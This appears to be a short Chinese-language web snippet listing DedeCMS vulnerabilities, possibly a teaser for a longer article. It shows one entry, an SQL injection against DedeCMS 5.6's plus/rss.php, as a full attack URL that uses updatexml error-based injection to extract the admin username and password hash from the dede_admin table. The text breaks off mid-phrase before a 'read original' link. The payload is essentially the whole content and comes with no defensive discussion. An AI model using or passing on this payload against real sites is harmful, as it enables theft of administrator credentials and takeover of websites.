dedecms 漏洞彙總

Dedecms 5.6 rss注入漏洞  php http://www.test.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2)) AND "'" AND updatexml(1,(SELECT CONCAT(0x5b,uname,0x3a,MID(pwd,4,16),0x5d) FROM dede_admin),1)#'][0]=1 DedeCms v5.6 嵌

>>阅读原文<<